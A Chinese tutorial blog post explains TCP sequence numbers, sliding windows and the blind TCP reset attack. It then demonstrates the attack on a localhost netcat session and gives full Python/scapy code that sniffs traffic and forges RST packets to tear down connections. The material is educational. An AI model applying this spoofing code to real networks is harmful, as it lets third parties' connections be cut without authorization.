本文正在参与 “网络协议必知必会”征文活动
TCP概述
TCP是传输层协议,提供面向连接、可靠、有序、字节流传输服务。使用TCP之前,必须先建立TCP连接;TCP通过校验、序列号、确认应答、重发控制、连接管理以及窗口控制等机制实现可靠性传输。 其特点如下: 使用TCP协议之前,必须先建立TCP连接。在传送数据完毕后,必须释放已经建立的TCP连接;
每一条TCP连接只有两个端点,且是点对点的;
通过TCP连接传送的数据,无差错、无丢失、无重复,且有序;
TCP提供全双工通信,允许通信双方的应用进程在任何时候都能发送数据。TCP连接的两端都设有发送缓存和接受缓存,用来临时存放通信的数据;
TCP序列号
TCP协议的通信双方, 都必须维护一个序列号(sequence numbers),对于客户端来说,它会使用服务端的序列号来将接收到的数据按照发送的顺序排列。
当通信双方建立TCP连接时,客户端与服务端都会向对方发送一个随机的初始序列号,这个序列号标识了其发送数据流的第一个字节。TCP报文段包含了TCP头部,它是附加在报文段开头的元数据,序列号就包含在TCP头部中。由于TCP连接是双向的,双方都可以发送数据,所以TCP连接的双方既是发送方也是接收方,每一方都必须分配和管理自己的序列号。
当接收方收到一个 TCP 报文段时,它会向发送方返回一个 ACK 应答报文(同时将TCP头部的ACK标志位置1),这个 ACK号就表示接收方期望从发送方收到的下一个字节的序列号。发送方利用这个信息来推断接收方已经成功接收到了序列号为ACK之前的所有字节。
TCP头部格式如下图所示:
一个确认应答报文的TCP头部必须包含两个部分:
ACK标志位置1;
包含确认应答号(ACK number);
TCP总共有6个标志位
发送方发送了报文后在一段时间内没有收到ACK,会认为报文丢失并重新发送报文,用相同的序列号标记。这样做的好处是,若接收方收到了重复的报文,可以使用序列号来判断是否已接收过这个报文,如果见过则直接丢弃。网络中的报文并不一定按顺序到达,一般分两种情况:
发送的数据包丢失了;
发送的数据包被成功接收,但返回的ACK丢失了;
两种情况都一样,发送方并不能区分,所以只能重新发送数据包。
选择序列号与滑动窗口
构建伪造的重置包时需要选择一个序列号。接收方可以接收序列号不按顺序排列的报文段,但这种容忍是有限度的,如果报文段的序列号与它期望的相差甚远,就会被直接丢弃。因此,一个成功的TCP复位攻击需要构建一个可信的序列号,这又跟滑动窗口有关。
TCP协议栈有一个缓冲区,新到达的数据被放到缓冲区中等待处理。但缓冲区的大小是有限的,一旦缓冲区被填满,多余的数据就会被直接丢弃,也不会返回ACK。因此一旦接收方的缓冲区有了空位,发送方必须重新发送数据。
接收方的滑动窗口大小是指发送方无需等待确认应答,可以持续发送数据的最大值。 TCP连接双方会在建立连接的初始握手阶段通告对方自己窗口的大小,后续还可以动态调整。TCP滑动窗口大小是对网络中可能存在的未确认数据量的硬性限制。TCP规范规定,接收方应该忽略任何序列号在接收窗口之外的数据。
对于大多数TCP报文段来说,滑动窗口的规则告诉了发送方自己可以接收的序列号范围。但对于重置报文来说,序列号的限制更加严格,就是为了抵御一种攻击叫做盲目TCP重置攻击(blind TCP reset attack)。
盲目TCP复位攻击
如果攻击者能够截获通信双方正在交换的信息,攻击者就能读取其数据包上的序列号和确认应答号,并利用这些信息得出伪装的TCP重置报文段的序列号。相反,如果无法截获通信双方的信息,就无法确定重置报文段的序列号,但仍然可以批量发出尽可能多不同序列号的重置报文,以期望猜对其中一个序列号。这就是所谓的盲目TCP重置攻击(blind TCP reset attack)。
复位攻击的工作原理
在TCP复位攻击中,攻击者通过向通信的一方或双方发送伪造的消息,告诉它们立即断开连接,从而使通信双方连接中断。如果客户端收发现到达的报文段对于相关连接而言是不正确的,TCP就会发送一个重置报文段,从而导致TCP连接的快速拆卸。
TCP复位攻击利用这一机制,通过向通信方发送伪造的重置报文段,欺骗通信双方提前关闭TCP连接。如果伪造的重置报文段完全逼真,接收者就会认为它有效,并关闭 TCP 连接,防止连接被用来进一步交换信息。不过,攻击者需要一定的时间来组装和发送伪造的报文,所以一般情况下这种攻击只对长连接有杀伤力。
复位攻击
首先要做的是伪造一个TCP重置报文,要做如下准备:
嗅探通信双方的交换信息。
截获一个ACK标志位置位1的报文段,并读取其ACK号。
伪造一个TCP重置报文段(RST标志位置为1),其序列号等于上面截获的报文的ACK号。为了增加成功率,可以连续发送序列号不同的重置报文。
将伪造的重置报文发送给通信的一方或双方,使其中断连接。
直接用本地计算机通过localhost与自己通信,然后对自己进行TCP复位攻击。
步骤如下:
在两个终端之间建立一个TCP连接。
编写一个能嗅探通信双方数据的攻击程序。
修改攻击程序,伪造并发送重置报文。
建立TCP连接
使用netcat工具来建立TCP连接。打开第一个终端窗口,运行以下命令:
$ nc -nvl 8000
复制代码
这样就启动一个TCP服务,监听端口为8000。接着再打开第二个终端窗口,运行以下命令:
$ nc 127.0.0.1 8000
复制代码
这个是尝试与上面的服务建立连接。
嗅探流量
这里选择用Python网络库 scapy 来读取两个终端窗口之间交换的数据,并将其打印到终端上。调用scapy的嗅探方法:
t = sniff(
iface='localnet',
lfilter=is_packet_tcp_client_to_server(localhost_ip, localhost_server_port, localhost_ip),
prn=log_packet,
count=50)
复制代码
iface : scapy在localnet网络接口上进行监听。 lfilter :过滤器,过滤不属于指定的TCP连接的数据包。 prn : scapy通过这个函数来操作所有符合lfilter规则的数据包。 count : scapy函数返回之前需要嗅探的数据包数量。
发送伪造的重置报文
发送伪造的TCP重置报文来进行TCP重置攻击。需要修改prn函数就行了,让其检查数据包,提取必要参数,并利用这些参数来伪造TCP重置报文并发送。效果如下:
最后附上完整代码:
from scapy.all import *
import ifaddr
import threading
import random
DEFAULT_WINDOW_SIZE = 2052
conf.L3socket = L3RawSocket
def log(msg, params={}):
formatted_params = " ".join([f"{k}={v}" for k, v in params.items()])
print(f"{msg} {formatted_params}")
def is_adapter_localhost(adapter, localhost_ip):
return len([ip for ip in adapter.ips if ip.ip == localhost_ip]) > 0
def is_packet_on_tcp_conn(server_ip, server_port, client_ip):
def f(p):
return (
is_packet_tcp_server_to_client(server_ip, server_port, client_ip)(p) or
is_packet_tcp_client_to_server(server_ip, server_port, client_ip)(p)
)
return f
def is_packet_tcp_server_to_client(server_ip, server_port, client_ip):
def f(p):
if not p.haslayer(TCP):
return False
src_ip = p[IP].src
src_port = p[TCP].sport
dst_ip = p[IP].dst
return src_ip == server_ip and src_port == server_port and dst_ip == client_ip
return f
def is_packet_tcp_client_to_server(server_ip, server_port, client_ip):
def f(p):
if not p.haslayer(TCP):
return False
src_ip = p[IP].src
dst_ip = p[IP].dst
dst_port = p[TCP].dport
return src_ip == client_ip and dst_ip == server_ip and dst_port == server_port
return f
def send_reset(iface, seq_jitter=0, ignore_syn=True):
"""Set seq_jitter to be non-zero in order to prove to yourself that the
sequence number of a RST segment does indeed need to be exactly equal
to the last sequence number ACK-ed by the receiver"""
def f(p):
src_ip = p[IP].src
src_port = p[TCP].sport
dst_ip = p[IP].dst
dst_port = p[TCP].dport
seq = p[TCP].seq
ack = p[TCP].ack
flags = p[TCP].flags
log(
"Grabbed packet",
{
"src_ip": src_ip,
"dst_ip": dst_ip,
"src_port": src_port,
"dst_port": dst_port,
"seq": seq,
"ack": ack,
}
)
if "S" in flags and ignore_syn:
print("Packet has SYN flag, not sending RST")
return
# Don't allow a -ve seq
jitter = random.randint(max(-seq_jitter, -seq), seq_jitter)
if jitter == 0:
print("jitter == 0, this RST packet should close the connection")
rst_seq = ack + jitter
p = IP(src=dst_ip, dst=src_ip) / TCP(sport=dst_port, dport=src_port, flags="R", window=DEFAULT_WINDOW_SIZE, seq=rst_seq)
log(
"Sending RST packet...",
{
"orig_ack": ack,
"jitter": jitter,
"seq": rst_seq,
},
)
send(p, verbose=0, iface=iface)
return f
def log_packet(p):
"""This prints a big pile of debug information. We could make a prettier
log function if we wanted."""
return p.show()
if __name__ == "__main__":
localhost_ip = "127.0.0.1"
local_ifaces = [
adapter.name for adapter in ifaddr.get_adapters()
if is_adapter_localhost(adapter, localhost_ip)
]
iface = local_ifaces[0]
localhost_server_port = 8000
log("Starting sniff...")
t = sniff(
iface=iface,
count=50,
# prn=send_reset(iface),
prn=log_packet,
lfilter=is_packet_tcp_client_to_server(localhost_ip, localhost_server_port, localhost_ip))
log("Finished sniffing!")
复制代码